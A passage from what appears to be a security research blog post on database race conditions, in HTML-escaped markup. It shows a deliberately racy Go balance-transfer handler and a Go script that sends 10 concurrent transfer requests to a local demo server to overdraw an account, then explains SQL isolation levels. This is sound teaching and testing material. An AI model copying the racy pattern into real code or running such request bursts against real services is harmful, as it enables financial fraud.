  &lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BeginTx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;// (2)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;QueryRow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SELECT id, name, balance FROM users WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Scan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;c&quot;&gt;// (3)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Rollback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Errorf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;invalid transfer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c&quot;&gt;// (4)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;UPDATE users SET balance = balance - $2 WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;UPDATE users SET balance = balance + $2 WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;c&quot;&gt;// (5)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Commit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Note: All error checking has been removed for clarity.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For the readers not familiar with Go, here’s a short summary of what the code is doing. We can assume that the application will initially perform authentication and authorization on the incoming HTTP request. When all required checks have passed, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db.Transfer&lt;/code&gt; function handling the database logic will be called. At this point the application will:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;1. Establish a new database transactions&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;2. Read the source account’s balance&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;3. Verify that the transfer amount is valid with regard to the source account’s balance and the application’s business rules&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;4. Update the source and destination accounts’ balances appropriately&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;5. Commit the database transaction&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A transfer can be made by making a request to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/transfer&lt;/code&gt; endpoint, like so:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /transfer HTTP/1.1
Host: localhost:9009
Content-Type: application/json
Content-Length: 31

{
    &quot;source&quot;:1,
    &quot;destination&quot;:2,
    &quot;amount&quot;:50
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We specify the source and destination account IDs, and the amount to be transferred between them. The full source code, and other sample apps developed for this research can be found in our &lt;a href=&quot;https://github.com/doyensec/db-race-conditions-playground&quot;&gt;playground&lt;/a&gt; repo.&lt;/p&gt;

&lt;p&gt;Before continuing reading, take a minute and review the code to see if you can spot any issues.&lt;/p&gt;

&lt;p&gt;Notice anything? At first look, the implementation seems correct. Sufficient input validation, bounds and balance checks are performed, no possibility of SQL injection, etc. We can also verify this by running the application and making a few requests. We’ll see that transfers are being accepted until the source account’s balance reaches zero, at which point the application will start returning errors for all subsequent requests.&lt;/p&gt;

&lt;p&gt;Fair enough. Now, let’s try some more dynamic testing. Using the following Go script, let us try and make 10 concurrent requests to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/transfer&lt;/code&gt; endpoint. We’d expect that two request will be accepted (two transfers of 50 with an initial balance of 100) and the rest will be rejected.&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transfer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transferReq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;From&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;   &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;To&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;     &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Amount&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;bodyBuffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewEncoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bodyBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http://localhost:9009/transfer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bodyBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;`application/json`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Do&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; / status code =&amp;gt; %v&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;c&quot;&gt;// run transfer as a goroutine&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;go&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transfer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;done.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, running the script we see something different. We see that almost all, if not all, of the request were accepted and successfully processed by the application server. Viewing the balance of both accounts with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dump&lt;/code&gt; endpoint will show that the source account has a negative balance.&lt;/p&gt;

&lt;p&gt;We have managed to overdraw our account, effectively making money out of thin air! At this point, any person would be asking “why?” and “how?”. To answer them, we first need to take a detour and talk about databases.&lt;/p&gt;

&lt;h2 id=&quot;database-transactions-and-isolation-levels&quot;&gt;Database Transactions and Isolation Levels&lt;/h2&gt;

&lt;p&gt;Transactions are a way to define a logical unit of work within a database context. Transactions consist of multiple database operations which need to be successfully executed, for the unit to be considered complete. Any failure would result in the transaction being reverted, at which point the developer needs to decide whether to accept the failure or retry the operation. Transactions are a way to ensure &lt;a href=&quot;https://en.wikipedia.org/wiki/ACID&quot;&gt;ACID&lt;/a&gt; properties for database operations. While all properties are important to ensure data correctness and safety, for this post we’re only interested in the “I” or Isolation.&lt;/p&gt;

&lt;p&gt;In short, Isolation defines the level to which concurrent transactions will be isolated from each other. This ensures they always operate on correct data and don’t leave the database in an inconsistent state. Isolation is a property which is directly controllable by developers. The &lt;a href=&quot;https://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt&quot;&gt;ANSI SQL-92&lt;/a&gt; standard defines four isolation levels, which we will take a look at in more detail later onm, but first we need to understand why we need them.&lt;/p&gt;

&lt;h3 id=&quot;why-do-we-need-isolation&quot;&gt;Why Do We Need Isolation?&lt;/h3&gt;

&lt;p&gt;The isolation levels are introduced to eliminate read phenomena or unexpected behaviors, which can be observed when concurrent transactions are being performed on the set of data. The best way to understand them is with a short example, graciously borrowed from &lt;a href=&quot;https://en.wikipedia.org/wiki/Isolation_(database_systems)#Read_phenomena&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;dirty-reads&quot;&gt;Dirty Reads&lt;/h4&gt;

&lt;p&gt;Dirty reads allow transactions to read uncommitted changes made by concurrent transactions.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- age = 20 &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- age = 21 &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;ROLLBACK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- the second read by tx1 is reverted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;non-repeatable-reads&quot;&gt;Non-Repeatable Reads&lt;/h4&gt;

&lt;p&gt;Non-repeatable reads allow sequential &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; operations to return different results as a result of concurrent transactions modifying the same table entry.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- age = 20 &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
